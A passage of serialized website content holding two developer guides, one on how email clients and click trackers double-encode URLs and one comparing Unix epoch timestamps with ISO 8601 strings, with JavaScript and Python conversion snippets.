other:",[193,98692,98693,98703],{},[196,98694,98695],{},[199,98696,98697,98700],{},[202,98698,98699],{},"Stage",[202,98701,98702],{},"Encoding Applied",[211,98704,98705,98715,98730],{},[199,98706,98707,98710],{},[216,98708,98709],{},"Original URL",[216,98711,98712],{},[143,98713,98714],{},"blue%20shoes",[199,98716,98717,98720],{},[216,98718,98719],{},"Tracking wrapper",[216,98721,34010,98722,52609,98724,98726,98727],{},[143,98723,17990],{},[143,98725,33701],{},", producing ",[143,98728,98729],{},"blue%2520shoes",[199,98731,98732,98735],{},[216,98733,98734],{},"User's browser",[216,98736,98737,98738,98740],{},"Decodes once → ",[143,98739,98714],{}," (then needs another decode)",[16,98742,98743,98744,98746,98747,98749],{},"A properly implemented tracking system decodes the ",[143,98745,11310],{}," parameter before redirecting. The browser then decodes the resulting URL normally. But if the tracking system does not decode, or if it decodes only partially, the user lands on a URL with literal ",[143,98748,34150],{}," in the query string.",[11,98751,98753],{"id":98752},"common-problems-with-email-urls","Common Problems with Email URLs",[33,98755,98757],{"id":98756},"spaces-and-ampersands-in-html-attributes","Spaces and Ampersands in HTML Attributes",[16,98759,98760,98761,98763,98764,8037],{},"The most frequent email link bug is an unencoded ",[143,98762,13530],{}," in ",[143,98765,98766],{},"href",[135,98768,98770],{"className":6417,"code":98769,"language":6419,"meta":141,"style":141},"\u003C!-- Broken: &lang looks like an HTML entity -->\n\u003Ca href=\"https:\u002F\u002Fexample.com\u002Fsearch?q=shoes&lang=en\">\n\n\u003C!-- Fixed: ampersand is HTML-encoded -->\n\u003Ca href=\"https:\u002F\u002Fexample.com\u002Fsearch?q=shoes&amp;lang=en\">\n",[143,98771,98772,98777,98792,98796,98801],{"__ignoreMap":141},[1560,98773,98774],{"class":1562,"line":1563},[1560,98775,98776],{"class":1649},"\u003C!-- Broken: &lang looks like an HTML entity -->\n",[1560,98778,98779,98781,98783,98785,98787,98790],{"class":1562,"line":337},[1560,98780,6431],{"class":1570},[1560,98782,98],{"class":2484},[1560,98784,41004],{"class":1566},[1560,98786,7297],{"class":1570},[1560,98788,98789],{"class":5634},"\"https:\u002F\u002Fexample.com\u002Fsearch?q=shoes&lang=en\"",[1560,98791,6441],{"class":1570},[1560,98793,98794],{"class":1562,"line":343},[1560,98795,1702],{"emptyLinePlaceholder":363},[1560,98797,98798],{"class":1562,"line":365},[1560,98799,98800],{"class":1649},"\u003C!-- Fixed: ampersand is HTML-encoded -->\n",[1560,98802,98803,98805,98807,98809,98811,98814,98816,98818],{"class":1562,"line":889},[1560,98804,6431],{"class":1570},[1560,98806,98],{"class":2484},[1560,98808,41004],{"class":1566},[1560,98810,7297],{"class":1570},[1560,98812,98813],{"class":5634},"\"https:\u002F\u002Fexample.com\u002Fsearch?q=shoes",[1560,98815,98619],{"class":1576},[1560,98817,98642],{"class":5634},[1560,98819,6441],{"class":1570},[16,98821,98822,98823,98825,98826,98828],{},"This is not URL encoding — it is HTML encoding. The browser decodes ",[143,98824,98619],{}," back to ",[143,98827,13530],{}," before making the HTTP request. But email HTML parsers, especially in older clients like Outlook, may not perform this decode step correctly.",[33,98830,98832],{"id":98831},"fragment-identifiers-stripped-by-trackers","Fragment Identifiers Stripped by Trackers",[16,98834,98835,98836,98839],{},"Click tracking redirects via HTTP 302, which strips the fragment identifier (",[143,98837,98838],{},"#section",") from the URL. If your deep link depends on a hash fragment, the user lands on the page but not at the intended anchor.",[16,98841,98842],{},"Workaround: use server-side redirects that preserve fragments, or move the target information into a query parameter and scroll via JavaScript.",[33,98844,98846],{"id":98845},"url-length-limits","URL Length Limits",[16,98848,98849],{},"Each encoding layer inflates the URL length. A URL with several Unicode query parameters can quickly exceed the 2,048-character limit imposed by some email clients (Outlook) or tracking platforms:",[193,98851,98852,98860],{},[196,98853,98854],{},[199,98855,98856,98858],{},[202,98857,45022],{},[202,98859,13024],{},[211,98861,98862,98874,98884],{},[199,98863,98864,98869],{},[216,98865,98866,98868],{},[143,98867,98619],{}," HTML encoding",[216,98870,98871,98872],{},"+4 chars per ",[143,98873,13530],{},[199,98875,98876,98881],{},[216,98877,98878,98880],{},[143,98879,34470],{}," percent-encoding",[216,98882,98883],{},"+2 chars per non-ASCII byte",[199,98885,98886,98889],{},[216,98887,98888],{},"Tracking wrapper prefix",[216,98890,98891],{},"~80 chars for the tracking domain and message ID",[16,98893,98894],{},"Monitor total URL length when building personalized email links with long parameter values.",[11,98896,98898],{"id":98897},"testing-email-links","Testing Email Links",[33,98900,98902],{"id":98901},"checklist-before-sending","Checklist Before Sending",[77,98904,98905,98919,98925,98934,98940],{},[44,98906,98907,98910,98911,98913,98914,98916,98917,468],{},[47,98908,98909],{},"Validate HTML",": Run your email template through an HTML validator. Every ",[143,98912,98766],{}," should use ",[143,98915,98619],{}," instead of bare ",[143,98918,13530],{},[44,98920,98921,98924],{},[47,98922,98923],{},"Test click tracking",": Send a test email and click every link вручную — verify the final destination URL matches the original.",[44,98926,98927,98930,98931,98933],{},[47,98928,98929],{},"Check decoding",": Look at the browser's address bar after the redirect. If you see ",[143,98932,33701],{}," in the URL, the tracking system is double-encoding.",[44,98935,98936,98939],{},[47,98937,98938],{},"Test across clients",": Outlook, Gmail, Apple Mail, and Yahoo all parse HTML differently. A link that works in Gmail may break in Outlook.",[44,98941,98942,98945,98946,98948],{},[47,98943,98944],{},"Verify fragments",": If your link includes ",[143,98947,98838],{},", confirm the anchor scrolls correctly after tracking redirect.",[33,98950,98952],{"id":98951},"quick-decode-test","Quick Decode Test",[135,98954,98956],{"className":1607,"code":98955,"language":1609,"meta":141,"style":141},"\u002F\u002F Check if a URL is double-encoded\nfunction isDoubleEncoded(str) {\n  return \u002F%25[0-9A-F]{2}\u002Fi.test(str);\n}\n\nisDoubleEncoded('blue%2520shoes');  \u002F\u002F true — double-encoded\nisDoubleEncoded('blue%20shoes');    \u002F\u002F false — properly encoded\n",[143,98957,98958,98963,98976,99002,99006,99010,99025],{"__ignoreMap":141},[1560,98959,98960],{"class":1562,"line":1563},[1560,98961,98962],{"class":1649},"\u002F\u002F Check if a URL is double-encoded\n",[1560,98964,98965,98967,98970,98972,98974],{"class":1562,"line":337},[1560,98966,8648],{"class":1669},[1560,98968,98969],{"class":1566}," isDoubleEncoded",[1560,98971,1688],{"class":1570},[1560,98973,38740],{"class":2219},[1560,98975,9345],{"class":1570},[1560,98977,98978,98980,98982,98984,98987,98990,98992,98994,98996,98999],{"class":1562,"line":343},[1560,98979,9350],{"class":1669},[1560,98981,11912],{"class":5634},[1560,98983,33701],{"class":11919},[1560,98985,98986],{"class":1576},"[0-9A-F]",[1560,98988,98989],{"class":1669},"{2}",[1560,98991,9423],{"class":5634},[1560,98993,7975],{"class":1669},[1560,98995,468],{"class":1570},[1560,98997,98998],{"class":1566},"test",[1560,99000,99001],{"class":1570},"(str);\n",[1560,99003,99004],{"class":1562,"line":365},[1560,99005,1585],{"class":1570},[1560,99007,99008],{"class":1562,"line":889},[1560,99009,1702],{"emptyLinePlaceholder":363},[1560,99011,99012,99015,99017,99020,99022],{"class":1562,"line":1710},[1560,99013,99014],{"class":1566},"isDoubleEncoded",[1560,99016,1688],{"class":1570},[1560,99018,99019],{"class":5634},"'blue%2520shoes'",[1560,99021,14724],{"class":1570},[1560,99023,99024],{"class":1649},"\u002F\u002F true — double-encoded\n",[1560,99026,99027,99029,99031,99034,99036],{"class":1562,"line":1717},[1560,99028,99014],{"class":1566},[1560,99030,1688],{"class":1570},[1560,99032,99033],{"class":5634},"'blue%20shoes'",[1560,99035,50825],{"class":1570},[1560,99037,99038],{"class":1649},"\u002F\u002F false — properly encoded\n",[11,99040,1355],{"id":1354},[41,99042,99043,99046,99055,99058,99064],{},[44,99044,99045],{},"Email URLs undergo multiple encoding layers: HTML attribute escaping, URL percent-encoding, and tracking wrapper encoding.",[44,99047,99048,99049,99051,99052,99054],{},"Always use ",[143,99050,98619],{}," for ampersands in HTML ",[143,99053,98766],{}," attributes — this is HTML encoding, not URL encoding.",[44,99056,99057],{},"Click tracking systems percent-encode the original URL as a parameter, which can cause double-encoding if not decoded before redirect.",[44,99059,99060,99061,99063],{},"Fragment identifiers (",[143,99062,6852],{},") are lost during HTTP 302 redirects used by most tracking systems.",[44,99065,99066],{},"Test all links across major email clients before sending campaigns.",[11,99068,286],{"id":285},[16,99070,99071,99072,99074,99075,99079],{},"Debugging an encoded URL from an email campaign? Paste it into the ",[98,99073,34510],{"href":34509}," to decode it layer by layer, or use the ",[98,99076,99078],{"href":99077},"\u002Ftools\u002Furl-parser","URL Parser"," to inspect individual query parameters and identify double-encoded values.",[2043,99081,99082],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sA_wV, html code.shiki .sA_wV{--shiki-default:#032F62;--shiki-dark:#DBEDFF}",{"title":141,"searchDepth":337,"depth":337,"links":99084},[99085,99090,99091,99096,99100,99101],{"id":98581,"depth":337,"text":98582,"children":99086},[99087,99088,99089],{"id":98588,"depth":343,"text":98589},{"id":98608,"depth":343,"text":98609},{"id":98657,"depth":343,"text":98658},{"id":98686,"depth":337,"text":98687},{"id":98752,"depth":337,"text":98753,"children":99092},[99093,99094,99095],{"id":98756,"depth":343,"text":98757},{"id":98831,"depth":343,"text":98832},{"id":98845,"depth":343,"text":98846},{"id":98897,"depth":337,"text":98898,"children":99097},[99098,99099],{"id":98901,"depth":343,"text":98902},{"id":98951,"depth":343,"text":98952},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"How email clients handle encoded URLs and why campaign links often double-encode.",{"immutable":363},"\u002Fguides\u002Fencoded-urls-in-emails",{"title":98573,"description":99102},"guides\u002Fencoded-urls-in-emails","De1UYuStIdVhGqukLspBRWnmPdziq-Z9yZm32fOMKDw",{"id":99109,"title":99110,"body":99111,"date":2070,"description":99876,"extension":361,"meta":99877,"navigation":363,"path":99878,"readingTime":1710,"seo":99879,"stem":99880,"__hash__":99881},"guides\u002Fguides\u002Fepoch-time-vs-iso-8601.md","Epoch Time vs ISO 8601: Key Differences and When to Use Each",{"type":8,"value":99112,"toc":99853},[99113,99117,99120,99123,99169,99173,99177,99180,99267,99269,99301,99305,99363,99367,99370,99377,99419,99422,99454,99458,99511,99515,99517,99653,99655,99698,99700,99704,99710,99764,99768,99774,99818,99820,99837,99839,99845,99850],[11,99114,99116],{"id":99115},"two-ways-to-represent-time","Two Ways to Represent Time",[16,99118,99119],{},"Epoch time and ISO 8601 are the two dominant formats for representing dates and times in software. They serve different purposes, and choosing the wrong one creates interoperability headaches, timezone bugs, and debugging difficulties.",[16,99121,99122],{},"Epoch time (also called Unix time or POSIX time) counts the number of seconds since January 1, 1970, 00:00:00 UTC. ISO 8601 is a string format that represents dates and times in a human-readable, globally standardized way.",[135,99124,99126],{"className":1607,"code":99125,"language":1609,"meta":141,"style":141},"\u002F\u002F Same moment, two representations\nconst epoch = 1716873600;                    \u002F\u002F Unix timestamp\nconst iso   = '2024-05-28T00:00:00Z';        \u002F\u002F ISO 8601 string\n",[143,99127,99128,99133,99151],{"__ignoreMap":141},[1560,99129,99130],{"class":1562,"line":1563},[1560,99131,99132],{"class":1649},"\u002F\u002F Same moment, two representations\n",[1560,99134,99135,99137,99140,99142,99145,99148],{"class":1562,"line":337},[1560,99136,8180],{"class":1669},[1560,99138,99139],{"class":1576}," epoch",[1560,99141,8186],{"class":1669},[1560,99143,99144],{"class":1576}," 1716873600",[1560,99146,99147],{"class":1570},";                    ",[1560,99149,99150],{"class":1649},"\u002F\u002F Unix timestamp\n",[1560,99152,99153,99155,99158,99161,99164,99166],{"class":1562,"line":343},[1560,99154,8180],{"class":1669},[1560,99156,99157],{"class":1576}," iso",[1560,99159,99160],{"class":1669},"   =",[1560,99162,99163],{"class":5634}," '2024-05-28T00:00:00Z'",[1560,99165,50692],{"class":1570},[1560,99167,99168],{"class":1649},"\u002F\u002F ISO 8601 string\n",[11,99170,99172],{"id":99171},"epoch-time-compact-and-calculable","Epoch Time: Compact and Calculable",[33,99174,99176],{"id":99175},"advantages","Advantages",[16,99178,99179],{},"Epoch timestamps are integers. This makes them trivial to compare, sort, subtract, and store:",[135,99181,99183],{"className":1607,"code":99182,"language":1609,"meta":141,"style":141},"\u002F\u002F Time difference in seconds\nconst start = 1716873600;\nconst end   = 1716877200;\nconst elapsed = end - start; \u002F\u002F 3600 seconds = 1 hour\n\n\u002F\u002F Compare timestamps\nif (tokenExpireEpoch > currentEpoch) {\n  \u002F\u002F token still valid\n}\n",[143,99184,99185,99190,99203,99217,99237,99241,99246,99258,99263],{"__ignoreMap":141},[1560,99186,99187],{"class":1562,"line":1563},[1560,99188,99189],{"class":1649},"\u002F\u002F Time difference in seconds\n",[1560,99191,99192,99194,99197,99199,99201],{"class":1562,"line":337},[1560,99193,8180],{"class":1669},[1560,99195,99196],{"class":1576}," start",[1560,99198,8186],{"class":1669},[1560,99200,99144],{"class":1576},[1560,99202,2228],{"class":1570},[1560,99204,99205,99207,99210,99212,99215],{"class":1562,"line":343},[1560,99206,8180],{"class":1669},[1560,99208,99209],{"class":1576}," end",[1560,99211,99160],{"class":1669},[1560,99213,99214],{"class":1576}," 1716877200",[1560,99216,2228],{"class":1570},[1560,99218,99219,99221,99224,99226,99229,99231,99234],{"class":1562,"line":365},[1560,99220,8180],{"class":1669},[1560,99222,99223],{"class":1576}," elapsed",[1560,99225,8186],{"class":1669},[1560,99227,99228],{"class":1570}," end ",[1560,99230,9412],{"class":1669},[1560,99232,99233],{"class":1570}," start; ",[1560,99235,99236],{"class":1649},"\u002F\u002F 3600 seconds = 1 hour\n",[1560,99238,99239],{"class":1562,"line":889},[1560,99240,1702],{"emptyLinePlaceholder":363},[1560,99242,99243],{"class":1562,"line":1710},[1560,99244,99245],{"class":1649},"\u002F\u002F Compare timestamps\n",[1560,99247,99248,99250,99253,99255],{"class":1562,"line":1717},[1560,99249,8052],{"class":1669},[1560,99251,99252],{"class":1570}," (tokenExpireEpoch ",[1560,99254,28226],{"class":1669},[1560,99256,99257],{"class":1570}," currentEpoch) {\n",[1560,99259,99260],{"class":1562,"line":1747},[1560,99261,99262],{"class":1649},"  \u002F\u002F token still valid\n",[1560,99264,99265],{"class":1562,"line":2507},[1560,99266,1585],{"class":1570},[33,99268,61655],{"id":64222},[41,99270,99271,99280,99286,99292],{},[44,99272,99273,1663,99276,99279],{},[47,99274,99275],{},"Not human-readable",[143,99277,99278],{},"1716873600"," tells you nothing without conversion",[44,99281,99282,99285],{},[47,99283,99284],{},"Timezone-free by design",": Always UTC, which is an advantage for storage but requires conversion for display",[44,99287,99288,99291],{},[47,99289,99290],{},"32-bit overflow",": Traditional 32-bit signed integers overflow on January 19, 2038 (the \"Year 2038 problem\")",[44,99293,99294,99297,99298,1525],{},[47,99295,99296],{},"No sub-second precision in basic form",": Milliseconds require decimal notation (",[143,99299,99300],{},"1716873600.123",[33,99302,99304],{"id":99303},"when-to-use-epoch","When to Use Epoch",[193,99306,99307,99316],{},[196,99308,99309],{},[199,99310,99311,99313],{},[202,99312,21080],{},[202,99314,99315],{},"Why Epoch Works",[211,99317,99318,99326,99339,99347,99355],{},[199,99319,99320,99323],{},[216,99321,99322],{},"API rate-limit timestamps",[216,99324,99325],{},"Easy subtraction and comparison",[199,99327,99328,99336],{},[216,99329,99330,99331,1856,99333,99335],{},"JWT ",[143,99332,90022],{},[143,99334,90040],{}," claims",[216,99337,99338],{},"Compact integer in token payload",[199,99340,99341,99344],{},[216,99342,99343],{},"Log file timestamps",[216,99345,99346],{},"Fast to write and sort",[199,99348,99349,99352],{},[216,99350,99351],{},"Cache expiration",[216,99353,99354],{},"Simple numeric comparison",[199,99356,99357,99360],{},[216,99358,99359],{},"Database time columns (performance-critical)",[216,99361,99362],{},"Smaller storage, faster indexes",[11,99364,99366],{"id":99365},"iso-8601-readable-and-unambiguous","ISO 8601: Readable and Unambiguous",[33,99368,99176],{"id":99369},"advantages-1",[16,99371,99372,99373,99376],{},"ISO 8601 strings are self-documenting. A developer reading ",[143,99374,99375],{},"2024-05-28T14:30:00+02:00"," immediately understands the date, time, and timezone offset:",[135,99378,99380],{"className":1607,"code":99379,"language":1609,"meta":141,"style":141},"\u002F\u002F ISO 8601 variants\n'2024-05-28'                    \u002F\u002F Date only\n'2024-05-28T14:30:00Z'          \u002F\u002F UTC time\n'2024-05-28T14:30:00+02:00'     \u002F\u002F Time with offset\n'2024-05-28T14:30:00.123Z'      \u002F\u002F With milliseconds\n",[143,99381,99382,99387,99395,99403,99411],{"__ignoreMap":141},[1560,99383,99384],{"class":1562,"line":1563},[1560,99385,99386],{"class":1649},"\u002F\u002F ISO 8601 variants\n",[1560,99388,99389,99392],{"class":1562,"line":337},[1560,99390,99391],{"class":5634},"'2024-05-28'",[1560,99393,99394],{"class":1649},"                    \u002F\u002F Date only\n",[1560,99396,99397,99400],{"class":1562,"line":343},[1560,99398,99399],{"class":5634},"'2024-05-28T14:30:00Z'",[1560,99401,99402],{"class":1649},"          \u002F\u002F UTC time\n",[1560,99404,99405,99408],{"class":1562,"line":365},[1560,99406,99407],{"class":5634},"'2024-05-28T14:30:00+02:00'",[1560,99409,99410],{"class":1649},"     \u002F\u002F Time with offset\n",[1560,99412,99413,99416],{"class":1562,"line":889},[1560,99414,99415],{"class":5634},"'2024-05-28T14:30:00.123Z'",[1560,99417,99418],{"class":1649},"      \u002F\u002F With milliseconds\n",[33,99420,61655],{"id":99421},"limitations-1",[41,99423,99424,99430,99436,99442],{},[44,99425,99426,99429],{},[47,99427,99428],{},"Larger storage",": 20-28 bytes vs 4-8 bytes for an integer",[44,99431,99432,99435],{},[47,99433,99434],{},"Slower comparison",": String comparison works only when offsets are normalized to UTC",[44,99437,99438,99441],{},[47,99439,99440],{},"Parsing overhead",": Requires a date library for reliable cross-browser parsing",[44,99443,99444,1663,99447,99450,99451,99453],{},[47,99445,99446],{},"Timezone ambiguity without offset",[143,99448,99449],{},"2024-05-28T14:30:00"," without ",[143,99452,22039],{}," or offset is \"local time\" — interpreted differently depending on the runtime",[33,99455,99457],{"id":99456},"when-to-use-iso-8601","When to Use ISO 8601",[193,99459,99460,99469],{},[196,99461,99462],{},[199,99463,99464,99466],{},[202,99465,21080],{},[202,99467,99468],{},"Why ISO 8601 Works",[211,99470,99471,99479,99487,99495,99503],{},[199,99472,99473,99476],{},[216,99474,99475],{},"REST API request\u002Fresponse bodies",[216,99477,99478],{},"Human-readable, self-documenting",[199,99480,99481,99484],{},[216,99482,99483],{},"Configuration files",[216,99485,99486],{},"Easy for humans to write and verify",[199,99488,99489,99492],{},[216,99490,99491],{},"Database datetime columns",[216,99493,99494],{},"Better query readability",[199,99496,99497,99500],{},[216,99498,99499],{},"Email headers and document metadata",[216,99501,99502],{},"Standardized and internationally understood",[199,99504,99505,99508],{},[216,99506,99507],{},"Frontend display",[216,99509,99510],{},"Directly formattable for users",[11,99512,99514],{"id":99513},"converting-between-formats","Converting Between Formats",[33,99516,9860],{"id":1609},[135,99518,99520],{"className":1607,"code":99519,"language":1609,"meta":141,"style":141},"\u002F\u002F Epoch to ISO 8601\nconst iso = new Date(1716873600 * 1000).toISOString();\n\u002F\u002F \"2024-05-28T00:00:00.000Z\"\n\n\u002F\u002F ISO 8601 to Epoch\nconst epoch = Math.floor(new Date('2024-05-28T00:00:00Z').getTime() \u002F 1000);\n\u002F\u002F 1716873600\n\n\u002F\u002F Current time in both formats\nconst now = Date.now(); \u002F\u002F epoch milliseconds\nconst nowISO = new Date().toISOString();\n",[143,99521,99522,99527,99553,99558,99562,99567,99602,99607,99611,99616,99634],{"__ignoreMap":141},[1560,99523,99524],{"class":1562,"line":1563},[1560,99525,99526],{"class":1649},"\u002F\u002F Epoch to ISO 8601\n",[1560,99528,99529,99531,99533,99535,99537,99539,99541,99543,99545,99547,99549,99551],{"class":1562,"line":337},[1560,99530,8180],{"class":1669},[1560,99532,99157],{"class":1576},[1560,99534,8186],{"class":1669},[1560,99536,11489],{"class":1669},[1560,99538,87644],{"class":1566},[1560,99540,1688],{"class":1570},[1560,99542,99278],{"class":1576},[1560,99544,8064],{"class":1669},[1560,99546,82375],{"class":1576},[1560,99548,9368],{"class":1570},[1560,99550,90155],{"class":1566},[1560,99552,90158],{"class":1570},[1560,99554,99555],{"class":1562,"line":343},[1560,99556,99557],{"class":1649},"\u002F\u002F \"2024-05-28T00:00:00.000Z\"\n",[1560,99559,99560],{"class":1562,"line":365},[1560,99561,1702],{"emptyLinePlaceholder":363},[1560,99563,99564],{"class":1562,"line":889},[1560,99565,99566],{"class":1649},"\u002F\u002F ISO 8601 to Epoch\n",[1560,99568,99569,99571,99573,99575,99577,99579,99581,99583,99585,99587,99590,99592,99594,99596,99598,99600],{"class":1562,"line":1710},[1560,99570,8180],{"class":1669},[1560,99572,99139],{"class":1576},[1560,99574,8186],{"class":1669},[1560,99576,9393],{"class":1570},[1560,99578,9406],{"class":1566},[1560,99580,1688],{"class":1570},[1560,99582,20807],{"class":1669},[1560,99584,87644],{"class":1566},[1560,99586,1688],{"class":1570},[1560,99588,99589],{"class":5634},"'2024-05-28T00:00:00Z'",[1560,99591,9368],{"class":1570},[1560,99593,89547],{"class":1566},[1560,99595,38111],{"class":1570},[1560,99597,9423],{"class":1669},[1560,99599,82375],{"class":1576},[1560,99601,1744],{"class":1570},[1560,99603,99604],{"class":1562,"line":1717},[1560,99605,99606],{"class":1649},"\u002F\u002F 1716873600\n",[1560,99608,99609],{"class":1562,"line":1747},[1560,99610,1702],{"emptyLinePlaceholder":363},[1560,99612,99613],{"class":1562,"line":2507},[1560,99614,99615],{"class":1649},"\u002F\u002F Current time in both formats\n",[1560,99617,99618,99620,99622,99624,99627,99629,99631],{"class":1562,"line":2524},[1560,99619,8180],{"class":1669},[1560,99621,90092],{"class":1576},[1560,99623,8186],{"class":1669},[1560,99625,99626],{"class":1570}," Date.",[1560,99628,90104],{"class":1566},[1560,99630,34220],{"class":1570},[1560,99632,99633],{"class":1649},"\u002F\u002F epoch milliseconds\n",[1560,99635,99636,99638,99641,99643,99645,99647,99649,99651],{"class":1562,"line":2529},[1560,99637,8180],{"class":1669},[1560,99639,99640],{"class":1576}," nowISO",[1560,99642,8186],{"class":1669},[1560,99644,11489],{"class":1669},[1560,99646,87644],{"class":1566},[1560,99648,42138],{"class":1570},[1560,99650,90155],{"class":1566},[1560,99652,90158],{"class":1570},[33,99654,9840],{"id":8261},[135,99656,99658],{"className":8259,"code":99657,"language":8261,"meta":141,"style":141},"import datetime\n\n# Epoch to ISO 8601\ndt = datetime.datetime.fromtimestamp(1716873600, tz=datetime.timezone.utc)\niso = dt.isoformat()  # \"2024-05-28T00:00:00+00:00\"\n\n# ISO 8601 to Epoch\nepoch = int(dt.timestamp())  # 1716873600\n",[143,99659,99660,99665,99669,99674,99679,99684,99688,99693],{"__ignoreMap":141},[1560,99661,99662],{"class":1562,"line":1563},[1560,99663,99664],{},"import datetime\n",[1560,99666,99667],{"class":1562,"line":337},[1560,99668,1702],{"emptyLinePlaceholder":363},[1560,99670,99671],{"class":1562,"line":343},[1560,99672,99673],{},"# Epoch to ISO 8601\n",[1560,99675,99676],{"class":1562,"line":365},[1560,99677,99678],{},"dt = datetime.datetime.fromtimestamp(1716873600, tz=datetime.timezone.utc)\n",[1560,99680,99681],{"class":1562,"line":889},[1560,99682,99683],{},"iso = dt.isoformat()  # \"2024-05-28T00:00:00+00:00\"\n",[1560,99685,99686],{"class":1562,"line":1710},[1560,99687,1702],{"emptyLinePlaceholder":363},[1560,99689,99690],{"class":1562,"line":1717},[1560,99691,99692],{},"# ISO 8601 to Epoch\n",[1560,99694,99695],{"class":1562,"line":1747},[1560,99696,99697],{},"epoch = int(dt.timestamp())  # 1716873600\n",[11,99699,10393],{"id":10392},[33,99701,99703],{"id":99702},"mixing-epoch-seconds-and-milliseconds","Mixing Epoch Seconds and Milliseconds",[16,99705,13680,99706,99709],{},[143,99707,99708],{},"Date.now()"," returns milliseconds. Many APIs expect seconds. Off by a factor of 1000, your timestamps are either in 1970 or thousands of years in the future.",[135,99711,99713],{"className":1607,"code":99712,"language":1609,"meta":141,"style":141},"\u002F\u002F Common bug\nconst ms = Date.now();          \u002F\u002F 1716873600000\nconst secs = Math.floor(ms \u002F 1000); \u002F\u002F 1716873600 — correct for APIs expecting seconds\n",[143,99714,99715,99720,99739],{"__ignoreMap":141},[1560,99716,99717],{"class":1562,"line":1563},[1560,99718,99719],{"class":1649},"\u002F\u002F Common bug\n",[1560,99721,99722,99724,99727,99729,99731,99733,99736],{"class":1562,"line":337},[1560,99723,8180],{"class":1669},[1560,99725,99726],{"class":1576}," ms",[1560,99728,8186],{"class":1669},[1560,99730,99626],{"class":1570},[1560,99732,90104],{"class":1566},[1560,99734,99735],{"class":1570},"();          ",[1560,99737,99738],{"class":1649},"\u002F\u002F 1716873600000\n",[1560,99740,99741,99743,99746,99748,99750,99752,99755,99757,99759,99761],{"class":1562,"line":343},[1560,99742,8180],{"class":1669},[1560,99744,99745],{"class":1576}," secs",[1560,99747,8186],{"class":1669},[1560,99749,9393],{"class":1570},[1560,99751,9406],{"class":1566},[1560,99753,99754],{"class":1570},"(ms ",[1560,99756,9423],{"class":1669},[1560,99758,82375],{"class":1576},[1560,99760,5171],{"class":1570},[1560,99762,99763],{"class":1649},"\u002F\u002F 1716873600 — correct for APIs expecting seconds\n",[33,99765,99767],{"id":99766},"iso-8601-without-timezone","ISO 8601 Without Timezone",[16,99769,99770,99771,99773],{},"An ISO string without ",[143,99772,22039],{}," or an offset is treated as local time. This produces different results on servers in different timezones:",[135,99775,99777],{"className":1607,"code":99776,"language":1609,"meta":141,"style":141},"\u002F\u002F Dangerous — interpreted as local time\nnew Date('2024-05-28T14:30:00');\n\n\u002F\u002F Safe — explicitly UTC\nnew Date('2024-05-28T14:30:00Z');\n",[143,99778,99779,99784,99797,99801,99806],{"__ignoreMap":141},[1560,99780,99781],{"class":1562,"line":1563},[1560,99782,99783],{"class":1649},"\u002F\u002F Dangerous — interpreted as local time\n",[1560,99785,99786,99788,99790,99792,99795],{"class":1562,"line":337},[1560,99787,20807],{"class":1669},[1560,99789,87644],{"class":1566},[1560,99791,1688],{"class":1570},[1560,99793,99794],{"class":5634},"'2024-05-28T14:30:00'",[1560,99796,1744],{"class":1570},[1560,99798,99799],{"class":1562,"line":343},[1560,99800,1702],{"emptyLinePlaceholder":363},[1560,99802,99803],{"class":1562,"line":365},[1560,99804,99805],{"class":1649},"\u002F\u002F Safe — explicitly UTC\n",[1560,99807,99808,99810,99812,99814,99816],{"class":1562,"line":889},[1560,99809,20807],{"class":1669},[1560,99811,87644],{"class":1566},[1560,99813,1688],{"class":1570},[1560,99815,99399],{"class":5634},[1560,99817,1744],{"class":1570},[11,99819,1355],{"id":1354},[41,99821,99822,99825,99828,99831,99834],{},[44,99823,99824],{},"Epoch time is a compact integer representing seconds since 1970-01-01 UTC — ideal for computation and storage",[44,99826,99827],{},"ISO 8601 is a human-readable string — ideal for APIs, configuration, and display",[44,99829,99830],{},"Always include timezone information in ISO 8601 strings to avoid interpretation differences",[44,99832,99833],{},"Watch for the seconds vs milliseconds mismatch when working with Unix timestamps in JavaScript",[44,99835,99836],{},"Use epoch for JWT claims, log timestamps, and rate limiting; use ISO 8601 for API payloads and configuration",[11,99838,286],{"id":285},[16,99840,99841,99842,99844],{},"Convert between epoch time and ISO 8601 instantly with our free ",[98,99843,623],{"href":622},". Enter any Unix timestamp to see its ISO 8601 equivalent, or paste an ISO string to get the epoch value — all processed locally in your browser.",[16,99846,99847],{},[98,99848,99849],{"href":622},"Try the Timestamp Converter →",[2043,99851,99852],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki 